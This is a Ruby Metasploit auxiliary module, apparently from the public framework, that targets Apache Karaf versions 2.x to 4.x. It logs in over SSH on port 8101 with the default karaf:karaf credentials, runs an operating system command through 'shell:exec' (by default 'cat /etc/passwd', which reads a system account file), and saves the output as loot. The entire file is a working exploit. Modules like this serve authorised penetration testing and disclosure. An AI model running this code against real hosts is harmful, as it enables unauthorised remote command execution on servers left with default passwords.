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require 'msf/core'
require 'net/ssh'
class Metasploit3 < Msf::Auxiliary
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report
def initialize(info={})
super(update_info(info,
'Name' => "Apache Karaf Default Credentials Command Execution",
'Description' => %q{
This module exploits a default misconfiguration flaw on Apache Karaf versions 2.x-4.x.
The 'karaf' user has a known default password, which can be used to login to the
SSH service, and execute operating system commands from remote.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Nicholas Starke <nick@alephvoid.com>'
],
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Targets' =>
[
['Apache Karaf', {}],
],
'Privileged' => true,
'DisclosureDate' => "Feb 9 2016",
'DefaultTarget' => 0))
register_options(
[
Opt::RPORT(8101),
OptString.new('USERNAME', [true, 'Username', 'karaf']),
OptString.new('PASSWORD', [true, 'Password', 'karaf']),
OptString.new('CMD', [true, 'Command to Run', 'cat /etc/passwd'])
], self.class
)
register_advanced_options(
[
Opt::Proxies,
OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]),
OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 30])
]
)
end
def rport
datastore['RPORT']
end
def username
datastore['USERNAME']
end
def password
datastore['PASSWORD']
end
def cmd
datastore['CMD']
end
def do_login(user, pass, ip)
opts = {
:auth_methods => ['password'],
:msframework => framework,
:msfmodule => self,
:port => rport,
:disable_agent => true,
:config => false,
:password => pass,
:record_auth_info => true,
:proxies => datastore['Proxies']
}
opts.merge!(:verbose => :debug) if datastore['SSH_DEBUG']
begin
ssh = nil
::Timeout.timeout(datastore['SSH_TIMEOUT']) do
ssh = Net::SSH.start(ip, user, opts)
end
rescue OpenSSL::Cipher::CipherError => e
print_error("#{ip}:#{rport} SSH - Unable to connect to this Apache Karaf (#{e.message})")
return
rescue Rex::ConnectionError
return
rescue Net::SSH::Disconnect, ::EOFError
print_error "#{ip}:#{rport} SSH - Disconnected during negotiation"
return
rescue ::Timeout::Error
print_error "#{ip}:#{rport} SSH - Timed out during negotiation"
return
rescue Net::SSH::AuthenticationFailed
print_error "#{ip}:#{rport} SSH - Failed authentication"
rescue Net::SSH::Exception => e
print_error "#{ip}:#{rport} SSH Error: #{e.class} : #{e.message}"
return
end
if ssh
print_good("#{ip}:#{rport}- Login Successful with '#{user}:#{pass}'")
else
print_error "#{ip}:#{rport} - Unknown error"
end
ssh
end
def run_host(ip)
print_status("#{ip}:#{rport} - Attempt to login...")
ssh = do_login(username, password, ip)
if ssh
output = ssh.exec!("shell:exec #{cmd}\n").to_s
if output
print_good("#{ip}:#{rport} - Command successfully executed. Output: #{output}")
store_loot("apache.karaf.command",
"text/plain",
ip,
output)
vprint_status("#{ip}:#{rport} - Loot stored at: apache.karaf.command")
else
print_error "#{ip}:#{rport} - Command failed to execute"
end
end
end
end
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